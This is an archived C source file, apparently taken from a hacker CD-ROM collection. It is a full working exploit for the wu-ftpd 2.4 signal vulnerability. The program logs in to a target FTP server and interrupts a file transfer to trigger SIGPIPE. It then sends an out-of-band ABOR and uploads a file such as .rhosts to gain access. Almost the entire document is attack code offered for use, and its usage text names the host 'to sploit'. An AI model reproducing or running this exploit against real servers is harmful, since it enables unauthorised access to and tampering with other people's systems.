home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / wuftpd-sploit / wuftpd.c < prev   
Encoding:
C/C++ Source or Header  |  1999-06-07  |  11.0 KB  |  483 lines

  1. /*
  2.  * Wuftpd 2.4 exploit for signal vulnerability (see CERT advisory)
  3.  * Shok (Matt Conover), shok@dataforce.net
  4.  */
  5.  
  6. #include <stdio.h>
  7. #include <errno.h>
  8. #include <netdb.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <getopt.h>
  12. #include <signal.h>
  13. #include <sys/wait.h>
  14. #include <sys/types.h>
  15. #include <netinet/in.h>
  16. #include <sys/socket.h>
  17.  
  18. #define ERROR    -1
  19. #define FTPPORT  21
  20. #define BACKLOG  1  /* Only the server should be able to connect */
  21. #define NORMAL   0
  22. #define OOB      1
  23. #define TIMEOUT  25 /* How long to wait for server to connect to send */
  24.                     /* us a file.                                     */
  25.  
  26. struct sockaddr_in their_addr;
  27. int    sockfd, sockfd1, newfd;
  28. char   buf[1024];
  29. char   *file = NULL, file1[256];
  30. u_long p1, p2;
  31.  
  32. void command(FILE *fd, char *command, int sleeplen, int sleeplen1, int flags);
  33. void receive(FILE *fd, int sleeplen);
  34. void sighandler(int signum);
  35. void usage(char **argv);
  36. void portstuff(int sending);
  37.  
  38. /* Get rid of those yucky implicit declarations when using -Wall */
  39. unsigned short int getport1();
  40. unsigned int alarm();
  41. unsigned int sleep();
  42. char  *inet_ntoa();
  43. char  *getpass();
  44. void  getport();
  45. int   close();
  46. pid_t fork();
  47.  
  48. void main(int argc, char **argv)
  49. {
  50.   struct hostent  *he;
  51.  
  52.   char   *user = NULL, *host = NULL, *port = NULL, *pass = NULL;
  53.  
  54.   char   user1[20], port1[5], host1[256];
  55.   char   cmd[64];
  56.  
  57.   FILE   *fd;
  58.  
  59.   int    status;
  60.   int    opt;
  61.  
  62.   
  63.   printf("Wuftpd 2.4 signal exploit.\n\n");
  64.   printf("shok@dataforce.net\n");
  65.  
  66.   /* Get options              */
  67.   while((opt = getopt (argc, argv, "p:u:f:h:")) != EOF)
  68.     switch (opt)
  69.     {
  70.        case 'p': 
  71.         port = optarg;
  72.         break;
  73.  
  74.        case 'u':
  75.         user = optarg;
  76.         break;
  77.  
  78.        case 'f':
  79.         file = optarg;
  80.         break;
  81.  
  82.        case 'h':
  83.         host = optarg;
  84.         break;
  85.  
  86.        case '?':
  87.         usage(argv);
  88.  
  89.        default:
  90.         break;
  91.     }
  92.  
  93.   /* ------------------------ */
  94.  
  95.   /* Things related to options */
  96.   if (argc < 3) usage(argv);
  97.  
  98.   if (host != NULL) printf("host is %s\n", host);
  99.   else {
  100.     bzero(host1, sizeof(host1));
  101.     printf("Enter host to run sploit against: ");
  102.     scanf("%256s", host1);    
  103.     host = host1;
  104.   }
  105.  
  106.   if (user == NULL) {
  107.     bzero(user1, sizeof(user1));
  108.     printf("Enter ftp username: ");
  109.       scanf("%20s", user1);
  110.     user = user1;
  111.   }
  112.  
  113.   pass = getpass("Password (of ftp user): ");
  114.  
  115.   if (file == NULL) {
  116.     printf("Enter file to receive (needed): ");
  117.     scanf("%256s", file1);
  118.     file = file1;
  119.   }
  120.  
  121.   if (port == NULL) {
  122.     sprintf(port1, "21");
  123.     printf("No port specified, using %s as default port.\n", port1);
  124.      port = port1;
  125.   } else
  126.     printf("port is %s\n", port);
  127.  
  128.  
  129.   if ((he = gethostbyname(host)) == NULL) {
  130.     herror("gethostbyname");
  131.     exit(ERROR);
  132.   }
  133.  
  134.   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
  135.     perror("socket");
  136.     exit(ERROR);
  137.   }
  138.  
  139.   /* Initialize sockaddr_in structure */
  140.   their_addr.sin_family              = AF_INET;
  141.   if (argc == 2) their_addr.sin_port = htons(FTPPORT);
  142.   else their_addr.sin_port           = htons(atoi(port));
  143.   their_addr.sin_addr                = *((struct in_addr *)he->h_addr);
  144.   bzero(&(their_addr.sin_zero), 8);
  145.   /* -------------------------------- */
  146.  
  147.   /* Connect to host */
  148.   printf("Connecting to %s (%s).\n\n", 
  149.     he->h_name, (char *)inet_ntoa(their_addr.sin_addr));
  150.  
  151.   if (connect(sockfd, (struct sockaddr *)&their_addr,
  152.           sizeof(struct sockaddr)) == ERROR) {
  153.     perror("connect");
  154.     exit(ERROR);
  155.   }
  156.   /* --------------- */
  157.  
  158.   /* Associate a FILE * with a socket fd */
  159.   if ((fd = fdopen(sockfd, "w+")) == NULL) {
  160.     perror("fdopen");
  161.     close(sockfd);
  162.     exit(ERROR);
  163.   }
  164.  
  165.  
  166.   /* Get welcome message */
  167.   receive(fd, 2);
  168.  
  169.   /* Send USER */
  170.   bzero(cmd, sizeof(cmd));
  171.   sprintf(cmd, "USER %s\n", user);
  172.   command(fd, cmd, 2, 2, NORMAL);
  173.  
  174.   /* Send PASS */
  175.   bzero(cmd, sizeof(cmd));
  176.   sprintf(cmd, "PASS %s\n", pass);
  177.   command(fd, cmd, 2, 2, NORMAL);
  178.  
  179.   /* We are now logged in */
  180.  
  181.   /* Do everything needed to send a PORT and make a data transfer */
  182.   portstuff(0);
  183.  
  184.   /* We are now waiting for server on user data transfer port */
  185.   /* Send PORT */
  186.   bzero(cmd, sizeof(cmd));
  187.   sprintf(cmd, "PORT 206,71,69,243,%ld,%ld\n", (long int)p1, (long int)p2);
  188.   command(fd, cmd, 2, 2, NORMAL);
  189.  
  190.   /* Send RETR */
  191.   bzero(cmd,   sizeof(cmd));
  192.   sprintf(cmd, "RETR %s\n", file);
  193.   command(fd, cmd, 2, 0, NORMAL);
  194.  
  195.   /* Wait to get 200 characters of the transfer then break, */ 
  196.   /* causing SIGPIPE.                                       */
  197.   /* ------------------------------------------------------ */
  198.   wait((int *)&status);
  199.   
  200.   if (WIFEXITED(status) != 0)
  201.     if(WEXITSTATUS(status) == ERROR) {
  202.         fprintf(stderr, "The child exitted because of an error.\n");
  203.         fprintf(stderr, "Continuing... but may not work right.\n");
  204.     }
  205.   /* ------------------------------------------------------ */
  206.  
  207.   /* Send ABOR (set it up to send OOB) */
  208.   command(fd, "ABOR\n", 2, 5, OOB);
  209.  
  210.  
  211.   /* Do the neccasary things to upload the file */
  212.   /* ------------------------------------------ */
  213.  
  214.   /* Get file name to upload */
  215.   printf("File to upload (.rhosts, etc.): ");
  216.   scanf("%256s", file1);
  217.   file = file1;
  218.  
  219.   /* Do everything needed to send a PORT and make a data transfer */
  220.   portstuff(1);
  221.  
  222.   /* We are now waiting for server on user data transfer port */
  223.   /* Send PORT */
  224.   bzero(cmd, sizeof(cmd));
  225.   sprintf(cmd, "PORT 206,71,69,243,%ld,%ld\n", (long int)p1, (long int)p2);
  226.   command(fd, cmd, 2, 2, NORMAL);
  227.  
  228.   /* Send STOR */
  229.   bzero(cmd, sizeof(cmd));
  230.   sprintf(cmd, "STOR %s\n", file);
  231.   command(fd, cmd, 2, 2, NORMAL);
  232.  
  233.   /* Wait for child to send .rhosts before moving on.       */ 
  234.   /* ------------------------------------------------------ */
  235.   wait((int *)&status);
  236.   
  237.   if (WIFEXITED(status) != 0)
  238.     if(WEXITSTATUS(status) == ERROR) {
  239.         fprintf(stderr, "The child exitted because of an error.\n");
  240.         fprintf(stderr, "Continuing... but may not work right.\n");
  241.     }
  242.   /* ------------------------------------------------------ */
  243.  
  244.   /* Send QUIT */
  245.   command(fd, "QUIT\n", 3, 5, NORMAL);
  246.  
  247.   close(sockfd);
  248.   fclose(fd);
  249. }
  250.  
  251. void usage(char **argv)
  252. {
  253.     fprintf(stderr, "Usage: %s [-h host] [-p port] [-u user] [-f file]\n", argv[0]);
  254.     fprintf(stderr, "host is the host to sploit\n");
  255.     fprintf(stderr, "user is the ftp user name (you will be asked for a password)\n");
  256.     fprintf(stderr, "file is the file to download (you'll see)\n\n"); 
  257.     exit(ERROR);
  258. }
  259.  
  260. void command(fd, command, sleeplen, sleeplen1, flags)
  261.    FILE *fd;
  262.    char *command;
  263.    int  sleeplen;
  264.    int  sleeplen1;
  265.    int  flags;
  266. {
  267.   /* Send command to ftpd */
  268.  
  269.   sleep(sleeplen); 
  270.   bzero(buf, sizeof(buf));
  271.  
  272.   if (flags == OOB)  printf("Sending (as OOB data):  %s", command);
  273.   else               printf("Sending:  %s", command);
  274.  
  275.   if (flags != OOB) fprintf(fd, command);
  276.   else send(sockfd, "ABOR\n", 5, MSG_OOB);
  277.  
  278.   receive(fd, sleeplen1);
  279.  
  280. }
  281.  
  282. void receive(FILE *fd, int sleeplen)
  283. {
  284.   sleep(sleeplen);
  285.  
  286.   bzero(buf, sizeof(buf));
  287.   fgets(buf, sizeof(buf) - 1, fd);
  288.  
  289.   printf("Received: %s", buf);
  290.   putchar('\n');
  291.  
  292. }
  293.  
  294. void sighandler(int signum)
  295. {
  296.   close(sockfd1);
  297.   close(sockfd);
  298.  
  299.   fprintf(stderr, "The client was for the server to connect for %d "
  300.                   "seconds, and so exitting the child (we'll let the "
  301.                   "rest finish anyway).\n", TIMEOUT);
  302.   exit(ERROR);
  303. }
  304.  
  305.  
  306.  
  307. void portstuff(int sending) /* sending = 0 means receiving, sending = 1 */
  308.                             /* means we're sending                      */
  309. {
  310.   int  ssize;
  311.   int  newfd;
  312.   FILE *fd, *fdd;
  313.   int  on = 1, val;
  314.   struct sockaddr_in our_addr, their_addr;
  315.  
  316.   /* Do all the ugly stuff to receive the data */
  317.   /* ----------------------------------------- */
  318.  
  319.   /* Get the local address and port number */
  320.   ssize = sizeof(struct sockaddr);
  321.   if (getsockname(sockfd, (struct sockaddr *)&our_addr, 
  322.           (int *)&ssize) == ERROR) {
  323.     perror("getsockname");
  324.     close(sockfd);
  325.     fclose(fd);
  326.     exit(ERROR);
  327.   }
  328.   /* ------------------------------------- */
  329.  
  330.   /* Setup everything for user data transfer port */
  331.   if ((sockfd1 = socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
  332.     perror("socket");
  333.     close(sockfd);
  334.     fclose(fd);
  335.     exit(ERROR);
  336.   }
  337.  
  338.   val = setsockopt(sockfd1, SOL_SOCKET, SO_REUSEADDR, (char *)&on,
  339.                   sizeof(on));
  340.  
  341.   if (val == ERROR) {
  342.     perror("setsockopt");
  343.     close(sockfd);
  344.         close(sockfd1);
  345.     exit(ERROR);    
  346.   }
  347.  
  348.   our_addr.sin_port += 2; /* To use the next available port for receiving */
  349.                           /* data.                                        */
  350.  
  351.  
  352.   while(1) { /* Little hack to be sure we bind to something */
  353.       if (bind(sockfd1, (struct sockaddr *)&our_addr, 
  354.                  sizeof(struct sockaddr)) == ERROR) {
  355.             perror("bind");
  356.             our_addr.sin_port++;
  357.             continue;
  358.     } else
  359.         break;
  360.   }
  361.  
  362.  
  363.   /* Send port number to get p1 and p2, send with PORT */
  364.   getport((u_long *)&p1, (u_long *)&p2, htons(our_addr.sin_port)); 
  365.   printf("User data transfer port is: %u\n", getport1(p1, p2));
  366.  
  367.  
  368.   if (listen(sockfd1, BACKLOG) == ERROR) {
  369.     perror("listen");
  370.     close(sockfd1);
  371.     close(sockfd);
  372.     exit(ERROR);
  373.   }
  374.   alarm(0);
  375.   signal(SIGALRM, SIG_IGN);
  376.  
  377.   ssize = sizeof(struct sockaddr_in);
  378.  
  379.   if (!fork()) {
  380.      /* char path[256]; */
  381.      register int dork = 0;
  382.  
  383.      /* Set sockfd1 into non block mode */
  384.      signal (SIGALRM, sighandler);
  385.  
  386.      /* Wait for no more than 20 seconds for server to connect */
  387.      /* after that give up (for example when you try to get a  */
  388.      /* file that isn't there...this will wait forever.        */
  389.      alarm(TIMEOUT); 
  390.  
  391.      if ((newfd = accept(sockfd1, (struct sockaddr *)&their_addr,
  392.                       &ssize)) == ERROR) {
  393.     perror("accept");
  394.     close(sockfd);
  395.      close(sockfd1);
  396.     exit(ERROR);
  397.      }
  398.  
  399.      alarm(0);
  400.  
  401.      printf("We got our connection from: %s, port: %d\n",
  402.     (char *)inet_ntoa(their_addr.sin_addr.s_addr),
  403.         htons(their_addr.sin_port));
  404.  
  405.      /* Be sure we are able to write data to a file */
  406. /*   bzero(path, sizeof(path));
  407.      sprintf(path, "/tmp/test/ftp/filewegot");
  408. */
  409.      if (sending != 1) {
  410.          if ((fdd = fopen("/tmp/test/ftp/filewegot", "w")) == NULL) {
  411.         perror("fopen");
  412.               }
  413.      } else {
  414.          if ((fdd = fopen(file, "r")) == NULL) {
  415.         perror("open");
  416.         fprintf(stderr, "Continuing anyway...but there may be problems.\n");
  417.          }        
  418.      }
  419.  
  420.      if (sending != 1) {
  421.          if ((fd = fdopen(newfd, "r")) == NULL) {
  422.         perror("fdopen");
  423.          /*    close(sockfd);
  424.         close(sockfd1);
  425.         close(newfd);
  426.             fclose(fd);
  427.         fclose(fdd);
  428.         exit(ERROR);
  429.          */
  430.               }
  431.      } else {
  432.          if ((fd = fdopen(newfd, "w")) == NULL) {
  433.         perror("fdopen");
  434.          /*    close(sockfd);
  435.         close(sockfd1);
  436.         close(newfd);
  437.             fclose(fd);
  438.         fclose(fdd);
  439.         exit(ERROR);
  440.          */
  441.               }
  442.      }
  443.  
  444.      if (sending != 1) {
  445.          while(dork < 200) {
  446.         char ch;
  447.  
  448.         if ((ch = fgetc(fd)) != EOF)
  449.             fputc(ch, fdd);
  450.         else {
  451.                  fclose(fdd);
  452.                  fclose(fd);
  453.                  break;
  454.         }
  455.  
  456.         dork++;
  457.               }
  458.  
  459.          printf("\nNow interupting data connection (file transfer).\n");
  460.          fclose(fd);
  461.          fclose(fdd);
  462.               close(newfd);
  463.               close(sockfd1);
  464.      } else {
  465.     char ch;
  466.  
  467.     printf("\nNow sending the file %s to site.\n", file);
  468.  
  469.     while (1) {
  470.         if ((ch = getc(fdd)) == EOF) break;
  471.         fputc(ch, fd);     
  472.     }
  473.  
  474.         fclose(fd);
  475.     fclose(fdd);
  476.     close(newfd);
  477.     close(sockfd1);
  478.      }
  479.  
  480.      exit(0);
  481.   }
  482. }
  483.